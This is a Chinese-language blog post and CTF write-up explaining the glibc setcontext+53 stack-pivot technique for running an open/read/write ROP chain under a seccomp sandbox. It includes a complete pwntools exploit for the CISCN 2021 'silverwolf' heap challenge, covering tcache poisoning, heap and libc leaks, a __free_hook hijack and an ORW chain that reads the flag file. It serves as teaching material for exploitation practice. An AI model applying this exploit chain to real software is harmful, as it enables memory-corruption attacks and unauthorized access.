setcontext

文章发布时间:

最后更新时间:

基于堆的orw
由于沙箱机制的存在,不能使用onegadget或者system。此时我们就需要使用ROP链的方式构造orw。接下来问题就来了,虽然可以构造ROP链,但是怎么调用呢,ROP链需要设置栈上的参数,仅仅靠free_hook或者malloc_hook等钩子函数是无法利用的,因此也就有了setcontext。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<setcontext>:     push   rdi
<setcontext+1>: lea rsi,[rdi+0x128]
<setcontext+8>: xor edx,edx
<setcontext+10>: mov edi,0x2
<setcontext+15>: mov r10d,0x8
<setcontext+21>: mov eax,0xe
<setcontext+26>: syscall
<setcontext+28>: pop rdi
<setcontext+29>: cmp rax,0xfffffffffffff001
<setcontext+35>: jae 0x7ffff7a7d520 <setcontext+128>
<setcontext+37>: mov rcx,QWORD PTR [rdi+0xe0]
<setcontext+44>: fldenv [rcx]
<setcontext+46>: ldmxcsr DWORD PTR [rdi+0x1c0]
<setcontext+53>: mov rsp,QWORD PTR [rdi+0xa0]
<setcontext+60>: mov rbx,QWORD PTR [rdi+0x80]
<setcontext+67>: mov rbp,QWORD PTR [rdi+0x78]
<setcontext+71>: mov r12,QWORD PTR [rdi+0x48]
<setcontext+75>: mov r13,QWORD PTR [rdi+0x50]
<setcontext+79>: mov r14,QWORD PTR [rdi+0x58]
<setcontext+83>: mov r15,QWORD PTR [rdi+0x60]
<setcontext+87>: mov rcx,QWORD PTR [rdi+0xa8]
<setcontext+94>: push rcx
<setcontext+95>: mov rsi,QWORD PTR [rdi+0x70]
<setcontext+99>: mov rdx,QWORD PTR [rdi+0x88]
<setcontext+106>: mov rcx,QWORD PTR [rdi+0x98]
<setcontext+113>: mov r8,QWORD PTR [rdi+0x28]
<setcontext+117>: mov r9,QWORD PTR [rdi+0x30]
<setcontext+121>: mov rdi,QWORD PTR [rdi+0x68]
<setcontext+125>: xor eax,eax
<setcontext+127>: ret
<setcontext+128>: mov rcx,QWORD PTR [rip+0x356951]
<setcontext+135>: neg eax
<setcontext+137>: mov DWORD PTR fs:[rcx],eax
<setcontext+140>: or rax,0xffffffffffffffff
<setcontext+144>: ret

tips:
这里讲讲为什么不直接用而要用<setcontext+53>
原因是执行到<setcontext+44>: fldenv [rcx] 的时候
程序会直接crash

一般利用方式
我们会将free_hook或者malloc_hook地址的内容覆盖为setcontext+53,最后再malloc或者free一下。
这里程序流程可以解释如下:执行free或者malloc后跳转到setcontext+53,然后将rsp指针指向orw链,然后修改rcx的值为ret指令的地址,push rcx,至于其它寄存器的值此处可以不用在意,最后执行setcontext末尾后紧邻的retn,栈头出栈也还是ret指令,然后继续弹出,此时的rsp指向的地址正好是orw链的开头。
  setcontext的具体操作也就是这样,这里最后再补充一个点,前面我们为了修改rsp和rcx的值需要找准偏移,一般我们可以手算一下,当然也可以利用pwntools的SigreturnFrame类直接来构造。此时frame中的rsp和rip对应的就是setcontext的rsp和rcx。

1
2
3
4
5
6
from pwn import *

context.arch = "amd64"#这个必须要设置,同srop
frame = SigreturnFrame()
frame.rsp = 0xaa
frame.rip = 0xbb

看道例题吧~
[CISCN 2021 初赛]silverwolf
checksec

1
2
3
4
5
6
7
[*] '/home/str1k3/Desktop/silverwolf'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

存在沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
root@ubuntu:/home/str1k3/Desktop# seccomp-tools dump '/home/str1k3/Desktop/silverwolf' 
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x07 0xc000003e if (A != ARCH_X86_64) goto 0009
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x04 0xffffffff if (A != 0xffffffff) goto 0009
0005: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0008
0006: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0008
0007: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0009
0008: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0009: 0x06 0x00 0x00 0x00000000 return KILL

NSS上给的是glibc2.27,据说当时发现是glibc2.29,环境可能不大一样,exp留给自己看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process("./silverwolf")
p = remote("node4.anna.nssctf.cn",28768)
libc = ELF("./libc-2.27.so")

def choice(choice):
p.recvuntil("choice: ")
p.sendline(str(choice))

def add(index,size):
choice(1)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))

def edit(index,content):
choice(2)
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Content: ")
p.sendline(content)

def show(index):
choice(3)
p.recvuntil("Index: ")
p.sendline(str(index))

def free(index):
choice(4)
p.recvuntil("Index: ")
p.sendline(str(index))

def clean():
for i in range(7):
add(0,0x78)
for i in range(12):
add(0,0x18)
for i in range(14):
add(0,0x68)
add(0,0x58)
#沙盒会影响堆风水,简单恢复,具体不是很清楚呜呜呜
clean()

add(0,0x28)
free(0)
edit(0,p64(0)*2)
free(0)
add(0,0x28)
show(0)
p.recvuntil("Content: ")
heap_base = u64(p.recv(6).ljust(8,b"\x00")) & 0xFFFFFFFFFFFFF000-0x1000
success("heap:" + hex(heap_base))
edit(0,p64(heap_base+0x10))
add(0,0x28)
add(0,0x28)
edit(0,p64(0)*4+p64(0x7000000))
free(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3ebca0

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
setcontext = libc_base + libc.sym['setcontext'] + 53

add(0,0x48)
edit(0,p64(0)*9)
add(0,0x18)
edit(0,p64(heap_base+0x50))
add(0,0x38)
payload = p64(free_hook) #18
payload += p64(heap_base + 0x2000) #28
payload += p64(heap_base + 0x20a0) #38
payload += p64(heap_base + 0x2000) #48
payload += p64(heap_base + 0x1000) #58
payload += p64(0) #68
payload += p64(heap_base + 0x1000+0x58)#78
edit(0,payload)

pop_rax_ret = libc_base+0x0000000000043ae8
pop_rdi_ret = libc_base+0x00000000000215bf
pop_rsi_ret = libc_base+0x0000000000023eea
pop_rdx_ret = libc_base+0x0000000000001b96
ret = libc_base+0x0000000000023eeb
open1 = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
alarm = libc_base + libc.sym['alarm']
syscall = alarm+0x5
flag_addr = heap_base+0x2000

success("libc base:%s", hex(libc_base))
success("setcontext_53:%s", hex(setcontext))
success("free_hook:%s", hex(free_hook))

# rop chain
rop = p64(pop_rdi_ret)+p64(flag_addr)
rop += p64(pop_rsi_ret)+p64(0)
rop += p64(pop_rax_ret)+p64(2)
rop += p64(syscall)
rop += p64(pop_rdi_ret)+p64(3)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(pop_rax_ret)+p64(0)
rop += p64(syscall)
rop += p64(pop_rdi_ret)+p64(1)
rop += p64(pop_rsi_ret)+p64(flag_addr)
rop += p64(pop_rdx_ret)+p64(0x30)
rop += p64(pop_rax_ret)+p64(1)
rop += p64(syscall)

add(0,0x18)
edit(0,p64(setcontext)) #hijack free_hook to setcontext+53

add(0,0x28)
edit(0,b'./flag\x00\x00') #./flag in heap + 0x2000 -- rdi

add(0,0x38)
edit(0,p64(heap_base + 0x1000) + p64(ret)) # mov rsp , [rdi+0a0h]

# rop in heap+0x10000
add(0,0x58)
edit(0,rop[:0x58])
add(0,0x78)
edit(0,rop[0x58:])

# setcontext(rop)
add(0,0x48)
free(0)

p.interactive()